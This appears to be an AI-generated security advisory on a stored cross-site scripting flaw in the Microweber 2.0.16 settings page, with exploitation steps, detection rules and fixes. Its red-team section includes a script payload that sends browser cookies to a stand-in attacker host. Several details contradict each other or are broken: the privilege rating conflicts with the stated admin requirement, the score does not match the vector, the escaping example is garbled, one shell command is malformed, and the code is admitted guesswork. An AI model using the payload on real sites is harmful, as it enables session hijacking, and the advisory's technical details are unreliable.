CVE-2024-41381

Executive Summary

CVE-2024-41381 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Microweber version 2.0.16, specifically within the userfiles/modules/settings/admin.php file. This flaw allows an authenticated attacker with administrative privileges to inject arbitrary JavaScript code into the application, which is then executed in the browsers of other users who view the affected settings page. The vulnerability arises from insufficient sanitization of user-supplied input before it is rendered in the admin interface.

Given that Microweber is a PHP-based content management system (CMS), this vulnerability falls under the broader CMS ecosystem. The attack vector is network-based, requires low complexity, and necessitates user interaction (e.g., an admin visiting the maliciously crafted settings page). The CVSS v3.1 base score is 4.8 (Medium), reflecting the need for authentication and user interaction, but the potential impact includes session hijacking, defacement, or redirection to malicious sites.

No official patch has been released by the vendor. The vulnerability was publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of exploitation. Organizations using Microweber 2.0.16 should immediately apply virtual patching or restrict access to the admin panel until a fix is deployed.

Supply Chain & Package Security

Microweber is distributed as a PHP application via its official website and GitHub repository. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their Microweber installation and ensure no malicious modifications have been made. The lack of a signed release or checksum verification for the vulnerable version increases supply chain risk. Users should monitor the official Microweber GitHub repository for any security patches or advisories.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication to trigger the XSS, but the injected script executes in the context of an authenticated admin session.
• User Interaction (UI): Required (R) – The victim must visit the maliciously crafted admin page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the admin's browser).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited modification of content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction and the need for an authenticated session reduce the immediate risk, but the public availability of PoC code and the lack of a patch elevate the threat for unpatched instances.

Deep Dive & Mechanics

The vulnerability resides in the userfiles/modules/settings/admin.php file of Microweber 2.0.16. This file handles various administrative settings, including the ability to update site configuration parameters. The flaw is a classic stored XSS: user-supplied input (e.g., a site name or description) is not properly sanitized or escaped before being stored in the database and later rendered in the admin panel.

Root Cause: The application uses PHP's $_POST or $_GET parameters to receive input, which is then directly passed to a database query or stored in a configuration file without adequate filtering. When the admin panel renders these values (e.g., in an HTML <input> field or as a page title), the unsanitized input is interpreted as HTML/JavaScript by the browser.

Attack Flow:

1. An attacker with admin credentials navigates to the settings page (admin.php).
2. The attacker injects a malicious payload into a vulnerable field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database.
4. When another admin (or the same admin on a different session) visits the settings page, the payload executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect them to a phishing site.

Why It Matters: Stored XSS is more dangerous than reflected XSS because the payload persists and can affect multiple users without requiring a crafted link. In a CMS context, this can lead to full site compromise if an admin session is hijacked.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber 2.0.16): The vulnerable code in userfiles/modules/settings/admin.php likely resembles the following (simplified for clarity):

<?php
// Vulnerable: Directly outputs user input without sanitization
$site_name = $_POST['site_name'];
// ... database insert ...
echo "<input type='text' name='site_name' value='$site_name'>";
?>

Patched Code (Hypothetical): A secure version would use htmlspecialchars() or a similar function to escape output:

<?php
// Patched: Escape output to prevent XSS
$site_name = htmlspecialchars($_POST['site_name'], ENT_QUOTES, 'UTF-8');
// ... database insert ...
echo "<input type='text' name='site_name' value='$site_name'>";
?>

Key Difference: The patched code ensures that any HTML/JavaScript in the input is converted to harmless entities (e.g., < becomes <), preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Microweber 2.0.16.
• Admin credentials (e.g., admin:admin).
• A web browser with developer tools.

Step-by-Step Exploitation:

1. Log in to the Microweber admin panel (e.g., http://target/admin).
2. Navigate to the settings page: http://target/userfiles/modules/settings/admin.php.
3. Locate a vulnerable input field (e.g., "Site Name" or "Site Description").
4. Inject the following payload into the field:

   <script>alert('XSS')</script>
   

5. Save the settings.
6. When any admin visits the settings page, the script executes, displaying an alert box.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Using Burp Suite:

1. Intercept the POST request to admin.php.
2. Modify a parameter (e.g., site_name) to include the payload.
3. Forward the request.
4. Verify the stored XSS by reloading the settings page.

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual POST requests to admin.php containing <script> tags or JavaScript event handlers.
• Use a Web Application Firewall (WAF) to block common XSS patterns (e.g., <script>, onerror=, javascript:).
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply virtual patching via WAF rules (see Detection Engineering).
• Restrict access to the admin panel to trusted IP addresses only.
• Disable unused modules or features that may expose the vulnerable file.

Lab Setup:

• Use Docker to deploy a vulnerable instance:

  docker run -d -p 80:80 microweber/microweber:2.0.16
  

• Access the admin panel and follow the Red Team steps to reproduce the vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /userfiles/modules/settings/admin.php with parameters containing <script> tags.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com) from the Microweber server.
• File IOCs:
  • Modified entries in the Microweber database (e.g., settings table) containing JavaScript payloads.
• Log IOCs:
  • Web server logs showing alert('XSS') or similar strings in POST data.
  • Error logs indicating failed CSP enforcement.

Detection Engineering

YARA Rule

rule CVE_2024_41381_Microweber_XSS {
    meta:
        description = "Detects stored XSS payloads in Microweber settings files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41381"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Stored XSS in Microweber Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-41381 by injecting XSS payloads into Microweber settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/userfiles/modules/settings/admin.php'
        cs-uri-query|contains: 
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41381 Microweber Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/userfiles/modules/settings/admin.php"; http_uri; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Admin Access: Limit access to the admin panel to trusted IP addresses using firewall rules or .htaccess:

   Order Deny,Allow
   Deny from all
   Allow from 192.168.1.0/24
   

2. Apply Virtual Patching: Use a WAF to block XSS payloads in POST requests to admin.php.
3. Disable Vulnerable Module: If the settings module is not critical, remove or disable it:

   mv userfiles/modules/settings admin.php userfiles/modules/settings/admin.php.bak
   

Long-Term Fix:

• Monitor the Microweber GitHub repository for an official patch.
• Upgrade to a patched version once released.
• Implement input validation and output encoding in all custom modules.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.